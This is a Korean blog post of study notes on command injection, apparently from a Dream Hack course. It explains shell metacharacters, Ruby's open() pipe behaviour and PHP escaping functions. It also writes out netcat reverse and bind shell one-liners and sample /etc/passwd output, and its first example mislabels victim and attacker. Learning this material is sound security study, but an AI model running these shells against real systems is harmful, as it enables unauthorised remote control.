본문 바로가기

1. Web hacking (웹 해킹)/2) 개념 정리

[2020.11.28] Dream Hack - Server-Side Advanced - Command Injection

01 Shell

Sehll : 운영 체제(OS)에서 커널과 사용자의 입/출력을 담당하는 시스템 프로그램.

-> 사용자가 입력하는 데이터를 해석한 후 커널에 요청하고, 요청에 대한 결과를 사용자에게 반환

 

*  커널: 소프트웨어와 하드웨어 간의 커뮤니케이션을 관리하는 프로그램

 

PATH(환경변수): OS입장에서 해당 프로세스를 실행시키기 위해 참조하는 변수

-> PATH변수 외에도 현재 쉘에 대한 정보, 현재 경로, 이전 경로 등 다양한    

    정보 포함.

 

메타 문자

1) .

 pwd: 현재 위치한 경로를 볼 수 있음

. : 현재 디렉토리 / ..: 부모(상위) 디렉토리

=> pwd 명령어로 현재 디렉토리와 부모 디렉토리 경로 확인

 

..: {1..10} 1에서 10까지 연속적인 표현

2) >

cat : 파일 내용을 보여줌

> : 파일에 내용을 써줌

=> id 명령어 실행 결과를 /tmp/res.txt.파일에 씀 -> cat으로 결과 확인

 

3) >>

echo: 화면 문자열을 출력해줌

>> : 이전에 있던 내용에 덧붙여서 써줌

=> echo 실행 결과를 파일에 쓰고 그 뒷부분에 id 실행 결과를 이어서 씀

 

4) &>, >&

&>,>&: 표준 출력과 표준 에러를 모두 출력 (&>는 비표준)

2>&1: 표준 에러를 표준 출력이 보내진 곳과 동일한 곳으로 보냄

  • (0: 표준 입력, 1: 표준 출력, 2: 표준 에러)

5) <

   파일 내용을 가져와 읽어줌

 

6) ?, *

특정 파일을 찾을 때 사용

=> /bin/ 폴더 내부에 c로 시작하는 세글자(c??) 파일 보여줌(ls명령어로)

=> /bin/ 폴더 내부에 c로 시작하는 모든 파일 보여줌

7) ~

  home 디렉토리

(출처- dreamheck)

 

02 Exploit Technique

 

1.Reverse Shell

Attacker가 Victim 쪽으로 접속하기 위해서, 

Victim쪽에서 Attacker쪽으로 Shell을 열어주는 것

 

-Attacker : 보통 nc 명령어를 이용해 listening 상태로 만들어 줌

-Victim : Reverse Shell 열어 줌

-> Attacker는 Shell을 건네 받아 시스템을 완전히 장악하는 용도로 사용

 

Ex)

Victim : nc -nlvp 8080

Attacker : /bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1

 

-i

-shell의 i 옵션을 사용한 것이다.

-i 옵션은 대화형 모드로 사용하겠다는 의미이다.

 

>& /dev/tcp/127.0.0.1/8080

-Shell을 tcp 127.0.0.1:8080으로 리다이렉트 하겠다는 의미

 

0>&1

-표준 출력을 전달한다는 의미

-파일디스크립터라고 하며 3가지가 존재함

-0: 표준입력 / 1: 표준출력 / 2: 표준에러




2. nc (netcat)

 

- TCP나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 간단한 유틸리티 프로그램

- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리

- 원하는 포트로 원하는 데이터를 주고 받을 수 있는 특징 때문에 해킹에도 널리 이용되며,

컴퓨터 포렌식에 있어서 라이브시스템의 데이터를 손상없이 가져오기 위해서도 사용될 수 있음

 

usage : nc [options] [target host] [ports]

 

ex.

 

(reverse shell) *취약점이 발생하는 서버에서 공격자의 서버로 쉘을 연결(Network Outbound)

$ nc -l -p 8080 -k –v

Listening on [0.0.0.0] (family 0, port 8080)Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 42202)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

...



(bind shell) *특정 포트로 쉘을 서비스하는 것 (Network Inbound)

nc -nlvp 8080 -e /bin/sh

 

[사용된 옵션 정리]

-l: listening 모드로 실행. 

-p: source port 지정. 

-k: listening 모드로 실행되었을 때 연결이 완료되더라도 프로세스가 종료되지 않도록 하는 옵션.

-v: 과정 출력

-n: hostname을 ip 로만 지정.

 

https://gptjs409.github.io/infra/2016/09/08/nc.html

https://leekeezz.tistory.com/57

https://htst.tistory.com/61 [DrakeOh]



03 Windows 환경

 

<리눅스 환경과 대응하는 윈도우 명령어>

 

ls

dir

디렉터리 파일 목록 출력

cat

type

파일 내용 출력

cd 

cd

디렉터리 이동

rm

del

파일 삭제

mv

move

파일 이동

cp

copy

파일 복사

ifconfig

ipconfig

네트워크 설정

env, export

set

환경변수 설정

 

 

04 Command Injection Bug Cases

 - open

: RUBY, PERL 의 output/input Util 함수

: open 함수의 원형

 

static VALUE

rb_f_open(int argc, VALUE *argv, VALUE _)

{

    ID to_open = 0;

    int redirect = FALSE;

    if (argc >= 1) {

CONST_ID(to_open, "to_open");

if (rb_respond_to(argv[0], to_open)) {

    redirect = TRUE;

}

else {

    VALUE tmp = argv[0];

    FilePathValue(tmp);

    if (NIL_P(tmp)) {

redirect = TRUE;

    }

    else {

                VALUE cmd = check_pipe_command(tmp);

                if (!NIL_P(cmd)) {

    argv[0] = cmd;

    return rb_io_s_popen(argc, argv, rb_cIO);

}

 

>> 첫 글자가 | (pipe / vertial bar) 일 경우에 pipe_open을 이용해 커맨드.

 - escapeshellcmd

>> 시스템 셸로 실행할 수 있는 특수문자에 백슬래시를 붙여 명령어를 실행할 수 없도록 방어한다.

사용하는 우회 문자 : #, &, |, ‘, * 등등..

 

* escapeshellarg와 escapeshellcmd의 차이점?

 

디렉토리에 있는 파일 목록을 가져와야한다고 가정하자.

 

escapeshellcmd 사용:

>> 여러 명령을 실행할 수 있는 문자만 이스케이프하므로 주요위험을 차단하는 동시에 여러 매개변수 전달 가능

 

escapeshellarg 사용:

>> 전체 인수가 인용되어 있으므로 개별 공백 등을 이스케이프 할 필요가 없다.

 

요약: cmd는 문자열이 하나의 명령인지를 확인하고, arg는 문자열을 명령에 대한 단일 인수로 안전하게 사용하도록 한다. 또한 훨씬 적은 수의 문자를 이스케이프하고 작업을 수행한다.

 

(출처: https://java2020.com/q/asxnvyqf)

 

zip

curl / wget

: URL을 입력으로 받은 후 접속하는 CLI 프로그램